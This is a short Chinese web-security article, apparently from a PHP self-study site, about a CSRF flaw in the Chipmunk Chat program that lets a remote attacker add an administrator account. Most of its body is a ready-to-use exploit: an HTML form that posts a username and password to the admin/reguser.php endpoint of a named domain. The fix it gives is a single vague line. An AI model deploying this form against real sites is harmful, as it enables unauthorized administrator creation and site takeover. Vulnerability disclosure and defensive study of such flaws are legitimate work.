Chipmunk Chat CSRF远程攻击漏洞及修复

Chipmunk Chat CSRF远程攻击漏洞及修复 - 网站安全

来源：自学PHP网时间：2015-04-17 15:08 作者：阅读:次

[导读] Chipmunk Chat 程序后台缺少验证，导致CSRF攻击远程添加管理员漏洞。Exphtmlform method="post" action="http://www.chinasg.tk/admin/reguser.php"Type Username Here: input type="text" name="adminname" siz...

Chipmunk Chat 程序后台缺少验证，导致CSRF攻击远程添加管理员漏洞。

Exp

<html>
<form method="post" action="http://www.chinasg.tk/admin/reguser.php">
Type Username Here: <input type="text" name="adminname" size="15"><br>
Type Password Here: <input type="text" name="password" size="15"><br>
Retype password: <input type="text" name="pass2" size="15"><br>
<input type="submit" value="submit">

</form>
</html>

修复：

加强后台验证

XSS 跨站脚本攻击安全测试语句 - 网站安全 - 自学

使用HTTP的DELETE方法删除黑页 - 网站安全 - 自学

子栏目

Chipmunk Chat CSRF远程攻击漏洞及修复 - 网站安全

最新评论

添加评论

更多文章推荐

添加评论